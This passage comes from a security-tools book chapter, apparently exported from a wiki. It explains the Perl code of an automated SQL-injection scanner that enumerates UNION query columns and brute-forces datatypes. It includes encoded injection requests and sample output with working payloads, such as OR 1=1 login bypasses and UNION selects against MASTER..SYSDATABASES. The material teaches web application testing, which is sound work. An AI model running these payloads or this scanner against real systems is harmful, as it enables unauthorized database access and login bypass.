 GET /news.jsp?id=1)))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO %20from%20BLAH&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20'1'%3D'1&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1%20OR&lt;br /&gt;
 (1%3D1&amp;amp; view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20'1'%3D'1'%20OR('1'%3D'1 &amp;amp;view=F&lt;br /&gt;
| Oracle &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; error message&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the routine exits, we move back up to the main script body and continue processing the test request. A check is performed against the &amp;lt;tt&amp;gt;$sqlUnionVuln&amp;lt;/tt&amp;gt; variable to determine if the &amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt; routine was successful. If so, we check to see if we have already enumerated the number of columns for the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query (previously done using &amp;lt;tt&amp;gt;sqlBlindColumnTest&amp;lt;/tt&amp;gt;). This scenario occurs if the database server does not support null values in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; statements (such as in older versions of Oracle) but still allows for column enumeration using the &amp;lt;tt&amp;gt;ORDER&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;BY&amp;lt;/tt&amp;gt; method (used by &amp;lt;tt&amp;gt;sqlBlindColumnTest&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
         if ($sqlUnionVuln ne &amp;quot;false&amp;quot;) {&lt;br /&gt;
          if ($sqlColumnVuln == 0) {&lt;br /&gt;
           $sqlColumnVuln = &amp;amp;amp;sqlColumnTest;&lt;br /&gt;
&lt;br /&gt;
If the &amp;lt;tt&amp;gt;$sqlUnionVuln&amp;lt;/tt&amp;gt; value is not set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; is set to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, the second of our three error-based injection routines (&amp;lt;tt&amp;gt;sqlColumnTest&amp;lt;/tt&amp;gt;) is called.&lt;br /&gt;
&lt;br /&gt;
==== sqlColumnTest subroutine ====&lt;br /&gt;
&lt;br /&gt;
As you have probably figured out, you use this routine to enumerate the number of columns in the SQL query. Although this subroutine's intent is very similar to that of &amp;lt;tt&amp;gt;sqlBlindColumnTest&amp;lt;/tt&amp;gt;, its approach is a bit different. Instead of using the &amp;lt;tt&amp;gt;ORDER BY&amp;lt;/tt&amp;gt; technique, this routine uses the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; test request obtained by &amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt; (assigned to &amp;lt;tt&amp;gt;$sqlUnionVuln&amp;lt;/tt&amp;gt;&amp;lt;nowiki&amp;gt;) and inserts literal blank values ('') into each&amp;lt;/nowiki&amp;gt;&amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query column. The routine starts with a one-column request and continues to make additional requests until the correct number of columns is added.&lt;br /&gt;
&lt;br /&gt;
Upon entering the subroutine, we declare a column counter variable (initially set at &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;), and a success variable (initially declared with a value of &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;), just as in the previous subroutines:&lt;br /&gt;
&lt;br /&gt;
 sub sqlColumnTest {&lt;br /&gt;
  my $sqlNumCols = 0;&lt;br /&gt;
  my $sqlColumnSuccess = &amp;quot;false&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Next, we move right into the testing loop. First the loop constructs a skeleton of the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; request by substituting the placeholder value in &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; with the exploit string used by &amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt; (assigned to &amp;lt;tt&amp;gt;$sqlUnionVuln&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 do {&lt;br /&gt;
   my $sqlColumnTest = $paramRequest;&lt;br /&gt;
   $sqlColumnTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;&lt;br /&gt;
&lt;br /&gt;
Next, the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query field list (&amp;lt;tt&amp;gt;FOO&amp;lt;/tt&amp;gt;) is replaced with a series of literal blank values (two consecutive single quotes). These are essentially placeholders similar to the &amp;quot;null&amp;quot; strings used in &amp;lt;tt&amp;gt;sqlBlindDataTypeTest&amp;lt;/tt&amp;gt;, but are considered string values by most database servers. These values should ultimately cause a datatype mismatch error once we get the correct number of columns. The number of column placeholders depends on the value of our column counter variable (&amp;lt;tt&amp;gt;$sqlNumCols&amp;lt;/tt&amp;gt;), which starts at zero (resulting in one column) and increments by one on every loop:&lt;br /&gt;
&lt;br /&gt;
   my $sqlColumnTestString = &amp;quot;%27%27&amp;quot;.(&amp;quot;,%27%27&amp;quot; x $sqlNumCols); &lt;br /&gt;
   $sqlColumnTest =~ s/FOO/$sqlColumnTestString/;&lt;br /&gt;
&lt;br /&gt;
Once the test request is made, the response is analyzed for the presence of the &amp;lt;tt&amp;gt;columnError&amp;lt;/tt&amp;gt; message for our specific database:&lt;br /&gt;
&lt;br /&gt;
   # Make the request and get the response data&lt;br /&gt;
   my ($sqlColumnStatus, $sqlColumnResults) = makeRequest($sqlColumnTest);&lt;br /&gt;
       &lt;br /&gt;
   if ($sqlColumnResults !~ $databaseInfo{$sqlDbType}{columnError})  {&lt;br /&gt;
    $sqlColumnSuccess = $sqlColumnTest;&lt;br /&gt;
   }&lt;br /&gt;
   $sqlNumCols++;&lt;br /&gt;
  } until (($sqlColumnSuccess ne &amp;quot;false&amp;quot;) || ($sqlNumCols &amp;gt; 200));&lt;br /&gt;
&lt;br /&gt;
As shown in the preceding code, if the error is present, the loop continues because the &amp;lt;tt&amp;gt;$sqlColumnSuccess&amp;lt;/tt&amp;gt; variable remains set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. The loop continues until the &amp;lt;tt&amp;gt;$sqlColumnSuccess&amp;lt;/tt&amp;gt; variable is no longer set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt; (when the error is not present), or if the column counter (&amp;lt;tt&amp;gt;$sq1NumCols&amp;lt;/tt&amp;gt;) exceeds &amp;lt;tt&amp;gt;200&amp;lt;/tt&amp;gt;. We set the limit of 200 columns just as we did with blind column testing because a number this large would be a good indication that something else is preventing the query from running. Once the error condition is absent, the script assumes it has obtained the correct number of columns and updates the value of &amp;lt;tt&amp;gt;$sqlColumnSuccess&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
After the loop completes, a check is made to determine if &amp;lt;tt&amp;gt;$sqlColumnSuccess&amp;lt;/tt&amp;gt; is set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. If it isn't, the current value of the column counter (&amp;lt;tt&amp;gt;$sqlNumCols&amp;lt;/tt&amp;gt;) is returned; otherwise, the routine returns a value of &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, indicating failure. Note that although the counter variable (&amp;lt;tt&amp;gt;$sqlNumCols&amp;lt;/tt&amp;gt;) is typically one less than the actual number of columns being tested, we incremented this variable value after the last response. Once incremented, the variable value is equal to the actual number of columns tested in the previous loop:&lt;br /&gt;
&lt;br /&gt;
 if ($sqlColumnSuccess ne &amp;quot;false&amp;quot;) {&lt;br /&gt;
   return $sqlNumCols;&lt;br /&gt;
  } else {&lt;br /&gt;
   return 0;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Returning to our main script body, we are ready to call the final error-based testing routine. First, we must close the conditional &amp;lt;tt&amp;gt;if&amp;lt;/tt&amp;gt; statement that checks to see if the number of columns was already obtained. Next, we check the value of &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; to verify that we have obtained the correct number of columns for the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query:&lt;br /&gt;
&lt;br /&gt;
          }&lt;br /&gt;
          if ($sqlColumnVuln != 0) {&lt;br /&gt;
           $sqlDataTypeVuln = &amp;amp;amp;sqlDataTypeTest;&lt;br /&gt;
&lt;br /&gt;
Provided that the value of &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; is not &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, we to call &amp;lt;tt&amp;gt;sqlDataTypeTest&amp;lt;/tt&amp;gt; to brute-force the correct datatype combination for the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query.&lt;br /&gt;
&lt;br /&gt;
==== sqlDataTypeTest subroutine ====&lt;br /&gt;
&lt;br /&gt;
The final step in our error-based &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; exploit is to brute-force the correct datatype necessary for each column of the query. We open this subroutine just as we did the others by declaring the success variable with an initial value of &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 sub sqlDataTypeTest {&lt;br /&gt;
  my $sqlDataTypeSuccess = &amp;quot;false&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Before we begin to actually brute-force the datatypes, we must consider the number of possible attempts we might end up making here. This routine attempts to make one request for every possible combination of datatypes (included in the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash for the identified database server) until it obtains the correct combination. Although this might not take very long on a query containing five columns, we must realize that as we add columns to our query the number of potential datatype combinations grows at an exponential rate. This has tremendous time implications for our scanner because it is not multithreaded.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
The total number of possible datatype combinations for a given query is the number of different datatypes raised to the number of columns in the query. For example, for a 12-column query using three different datatypes (Oracle in our case), the number of possible combinations is 531,441. If our scanner averages two requests per second, it could take more than three days to brute-force the query.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To address the timing issue, we define an upper limit on the number of query columns that our script attempts to brute-force. If this limit is reached, we are still made aware of the vulnerability and can decide to either pursue the exploit manually or adjust the limit and rerun the script. We have initially set the upper column limit at eight columns. Provided that our limit has not been exceeded by the query, we then must generate the list of possible datatype combinations. For this we have actually developed a dedicated subroutine that returns an array containing every possible datatype combination for the identified database using the number of columns in our query. The subroutine is used to populate the &amp;lt;tt&amp;gt;@sqlDataTypeDictionary&amp;lt;/tt&amp;gt; array that is used to perform our testing:&lt;br /&gt;
&lt;br /&gt;
  if ($sqlColumnVuln &amp;lt;= 8) {&lt;br /&gt;
   my @sqlDataTypeDictionary = genRecurse( );&lt;br /&gt;
&lt;br /&gt;
The subroutine used to generate the array (&amp;lt;tt&amp;gt;genRecurse&amp;lt;/tt&amp;gt;) is a recursive subroutine that iterates through every possible datatype combination. The subroutine is quite short and is shown here in its entirety:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;sub genRecurse {&lt;br /&gt;
 my $dd = shift;&lt;br /&gt;
 my @seq = @_;&lt;br /&gt;
 if ($dd &amp;gt;= $sqlColumnVuln) {&lt;br /&gt;
  my $combo = join(&amp;quot;,&amp;quot;, @seq);&lt;br /&gt;
  push (@dtCombinations, $combo);&lt;br /&gt;
 } else {&lt;br /&gt;
  foreach my $subReq (@{$databaseInfo{$sqlDbType}{dataTypes}}) {&lt;br /&gt;
   genRecurse($dd + 1, @seq, $subReq);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 return @dtCombinations;&lt;br /&gt;
}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can see that the &amp;lt;tt&amp;gt;genRecurse&amp;lt;/tt&amp;gt; subroutine recursively loops through each member of the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;dataTypes&amp;lt;/tt&amp;gt; element. All unique datatype combinations are joined with commas and are added to the &amp;lt;tt&amp;gt;@dtCombinations&amp;lt;/tt&amp;gt; array (returned by the subroutine).&lt;br /&gt;
&lt;br /&gt;
Going back to &amp;lt;tt&amp;gt;sqlDataTypeTest&amp;lt;/tt&amp;gt;, we declare a counter variable (&amp;lt;tt&amp;gt;$sqlDictionaryPos&amp;lt;/tt&amp;gt;) to keep track of which array position within &amp;lt;tt&amp;gt;@sqlDataTypeDictionary&amp;lt;/tt&amp;gt; we are currently testing. We do this to avoid performing a &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop on every array member because the array could be quite large and we might actually get the right datatype combination early on in the list:&lt;br /&gt;
&lt;br /&gt;
   my $sqlDictionaryPos = 0;&lt;br /&gt;
&lt;br /&gt;
Once we begin the loop, we use the same technique used by &amp;lt;tt&amp;gt;sqlColumnTest&amp;lt;/tt&amp;gt; to build the skeleton of the request based on the value of &amp;lt;tt&amp;gt;$sqlUnionVuln&amp;lt;/tt&amp;gt;. Then we replace the column value (&amp;lt;tt&amp;gt;FOO&amp;lt;/tt&amp;gt;) with the current member of the &amp;lt;tt&amp;gt;@sqlDataTypeDictionary&amp;lt;/tt&amp;gt; array (defined by the current &amp;lt;tt&amp;gt;$sqlDictionaryPos&amp;lt;/tt&amp;gt; value) and make the request:&lt;br /&gt;
&lt;br /&gt;
   do {    &lt;br /&gt;
    my $sqlDataTypeTest = $paramRequest;&lt;br /&gt;
    $sqlDataTypeTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;&lt;br /&gt;
    $sqlDataTypeTest =~ s/FOO/$sqlDataTypeDictionary[$sqlDictionaryPos]/;&lt;br /&gt;
    my ($sqlDataTypeStatus, $sqlDataTypeResults) = makeRequest($sqlDataTypeTest);&lt;br /&gt;
&lt;br /&gt;
Once the request has been made, we inspect the response using the &amp;lt;tt&amp;gt;dataTypeError&amp;lt;/tt&amp;gt; regular expression element defined for our database in the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash. If the error is present, we increment our counter variable (&amp;lt;tt&amp;gt;$sqlDictionaryPos&amp;lt;/tt&amp;gt;) and continue testing. If the error is not present, we assume the datatype combination was correct and update the success variable (&amp;lt;tt&amp;gt;$sqlDataTypeSuccess&amp;lt;/tt&amp;gt;) in addition to notifying the user:&lt;br /&gt;
&lt;br /&gt;
    if ($sqlDataTypeResults !~ $databaseInfo{$sqlDbType}{dataTypeError}) {&lt;br /&gt;
     $sqlDataTypeSuccess = $sqlDataTypeTest;&lt;br /&gt;
     printReport(&amp;quot;\n\nALERT: Possible SQL Injection Exploit:\n=&amp;gt; $sqlDataTypeTest\n\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
    $sqlDictionaryPos++;&lt;br /&gt;
   } until (($sqlDataTypeSuccess ne &amp;quot;false&amp;quot;) || ($sqlDictionaryPos &amp;gt;= $#sqlDataTypeDictionary + 1));&lt;br /&gt;
&lt;br /&gt;
As shown in the preceding code, the loop runs until the success variable is updated ''or'' the counter variable reaches the last member of the &amp;lt;tt&amp;gt;@sqlDataTypeDictionary&amp;lt;/tt&amp;gt; array (meaning we have reached the end of the array with no success). Because this is the final subroutine of the exploit engine, we close the subroutine without returning a value:&lt;br /&gt;
&lt;br /&gt;
  }&lt;br /&gt;
  else &lt;br /&gt;
    printReport(&amp;quot;\n\nALERT: SQL column limit exceeded ($sqlColumnVuln)\n\n&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
At this point, let's return to our main script body to close out all the existing SQL-related logic and proceed to the next parameter-based test. Here is the entire parameter-based control logic:&lt;br /&gt;
&lt;br /&gt;
      ## Perform input validation tests&lt;br /&gt;
      $sqlVuln = &amp;amp;amp;sqlTest;&lt;br /&gt;
      if ($sqlVuln != 0) {&lt;br /&gt;
       $sqlOrVuln = &amp;amp;amp;sqlOrTest;&lt;br /&gt;
       if ($sqlOrVuln ne &amp;quot;false&amp;quot;) {&lt;br /&gt;
        $sqlColumnVuln = 0;&lt;br /&gt;
        $sqlDataTypeVuln = &amp;quot;false&amp;quot;;&lt;br /&gt;
        if ($sqlOrVuln =~ /--$/) {&lt;br /&gt;
         $sqlColumnVuln = &amp;amp;amp;sqlBlindColumnTest;&lt;br /&gt;
         if ($sqlColumnVuln != 0) {&lt;br /&gt;
          $sqlDataTypeVuln = &amp;amp;amp;sqlBlindDataTypeTest;&lt;br /&gt;
         }&lt;br /&gt;
        }&lt;br /&gt;
        if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne &amp;quot;true&amp;quot;)) {&lt;br /&gt;
         $sqlUnionVuln = &amp;amp;amp;sqlUnionTest;&lt;br /&gt;
         if ($sqlUnionVuln ne &amp;quot;false&amp;quot;) {&lt;br /&gt;
          if ($sqlColumnVuln == 0) {&lt;br /&gt;
           $sqlColumnVuln = &amp;amp;amp;sqlColumnTest;&lt;br /&gt;
          }&lt;br /&gt;
          if ($sqlColumnVuln != 0) {&lt;br /&gt;
           $sqlDataTypeVuln = &amp;amp;amp;sqlDataTypeTest;&lt;br /&gt;
          }&lt;br /&gt;
         }&lt;br /&gt;
        }&lt;br /&gt;
       }&lt;br /&gt;
      }&lt;br /&gt;
      my $xssVuln = xssTest($paramRequest);&lt;br /&gt;
&lt;br /&gt;
Now the script continues to perform additional tests we had in the previous scanner, such as XSS (the only other parameter-based test) and the directory-based testing routines.&lt;br /&gt;
&lt;br /&gt;
== Using the Scanner ==&lt;br /&gt;
&lt;br /&gt;
You use ''extendedScanner.pl'' in virtually the same way in which you use ''simpleScanner.pl''. Like the previous scanner, ''extendedScanner.pl'' requires an input file generated using ''parseLog.pl'', and it supports the same options. For reference, here is some sample output from the scanner:&lt;br /&gt;
&lt;br /&gt;
 ** Extended Web Application Scanner **&lt;br /&gt;
 &lt;br /&gt;
 ** Beginning Scan **&lt;br /&gt;
 ..........&lt;br /&gt;
 ALERT: Directory Listing Detected:&lt;br /&gt;
 =&amp;gt; GET /images/&lt;br /&gt;
 ....&lt;br /&gt;
 ALERT: Database Error Message Detected:&lt;br /&gt;
 =&amp;gt; POST /search.asp?cat=te'st&amp;amp;searchstring=&lt;br /&gt;
 ..&lt;br /&gt;
 ALERT: Possible SQL Injection Exploit:&lt;br /&gt;
 =&amp;gt; POST /search.asp?cat=1'%20OR%201%3D1--&amp;amp;searchstring=&lt;br /&gt;
 .................&lt;br /&gt;
 ALERT: Possible SQL Injection Exploit:&lt;br /&gt;
 =&amp;gt; POST /search.asp?cat=1'%20UNION%20ALL%20SELECT%20CONVERT(INT,1),CONVERT(INT,1),&lt;br /&gt;
 CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT&lt;br /&gt;
 (VARCHAR,1)%20FROM%20MASTER..SYSDATABASES--&amp;amp;searchstring=&lt;br /&gt;
 .......&lt;br /&gt;
 ALERT: 500 Error Code Detected:&lt;br /&gt;
 =&amp;gt; GET /template.asp?content=te'st&lt;br /&gt;
 ........................&lt;br /&gt;
 ALERT: Generic Error Message Detected:&lt;br /&gt;
 =&amp;gt; POST /login.asp?txtUsername=te'st&amp;amp;txtPassword=password&amp;amp;action=login&amp;amp;&lt;br /&gt;
 session=1&lt;br /&gt;
 ..&lt;br /&gt;
 ALERT: Possible SQL Injection Exploit:&lt;br /&gt;
 =&amp;gt; POST /login.asp?txtUsername=1'%20OR%201%3D1--&amp;amp;txtPassword=password&amp;amp;&lt;br /&gt;
 action=login&amp;amp;session=1&lt;br /&gt;
 ..................................&lt;br /&gt;
 ALERT: Possible SQL Injection Exploit:&lt;br /&gt;
 =&amp;gt; POST /login.asp?txtUsername=1'%20UNION%20ALL%20SELECT%20CONVERT(INT,1),&lt;br /&gt;
 CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(INT,1),CONVERT(VARCHAR,1),&lt;br /&gt;
 CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(INT,1),&lt;br /&gt;
 CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),&lt;br /&gt;
 CONVERT(VARCHAR,1),CONVERT(VARCHAR,1)%20FROM%20MASTER..SYSDATABASES--&amp;amp;&lt;br /&gt;
 txtPassword=password&amp;amp;action=login&amp;amp;session=1&lt;br /&gt;
 .........................&lt;br /&gt;
 &lt;br /&gt;
 ** Scan Complete **&lt;/div&gt;</description>
			<pubDate>Tue, 11 Mar 2008 21:39:00 GMT</pubDate>			<dc:creator>Docbook2Wiki</dc:creator>			<comments>http://commons.oreilly.com/wiki/index.php/Talk:Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Automated_Exploit_Tools</comments>		</item>
	</channel>
</rss>